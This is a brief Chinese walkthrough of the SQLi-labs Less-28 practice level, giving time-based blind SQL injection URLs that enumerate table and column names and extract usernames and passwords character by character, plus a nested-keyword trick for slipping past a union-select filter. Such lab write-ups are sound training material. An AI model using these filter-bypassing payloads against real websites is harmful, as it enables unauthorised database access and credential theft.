Sqlilabs-28

因为是 Winodws 那就盲注吧，这跟 26a27a 关卡一样， payload 改改就可以用了，这一关同样把报错信息给过滤了，所以报错注入用不了：

–查表
http://sqlilabs/Less-28/?id=1')and(if(ascii(substr((SeLect(table_name)from(SeLect(table_name),(table_rows)from(information_schema.tables)where(table_schema=database())and(table_rows=14))a),1,1))=117,sleep(5),0))and('1')=('1

–查列
http://sqlilabs/Less-27a/?id=1')and(if(ascii(substr((SeLect(column_name)from(information_schema.columns)where(table_schema=database())and(table_name='users')and(ordinal_position=1)),1,1))=105,sleep(5),0))and('1')=('1

–查数据
http://sqlilabs/Less-27a/?id=1')and(if(ascii((substr((SeLect(username)from(users)where(id=1)),1,1)))=68,sleep(5),0))and('1')=('1

http://sqlilabs/Less-27a/?id=1')and(if(ascii((substr((SeLect(password)from(users)where(id=1)),1,1)))=68,sleep(5),0))and('1')=('1

如果是 Ubuntu 环境，UnIon%a0SeLect 会被过滤掉，因为过滤的是 union select 连着的，可以尝试：
uniunionon selection 这样子构造 payload

鉴于 28a 和这关的用法一样，所以在此就不写 28a le。
😄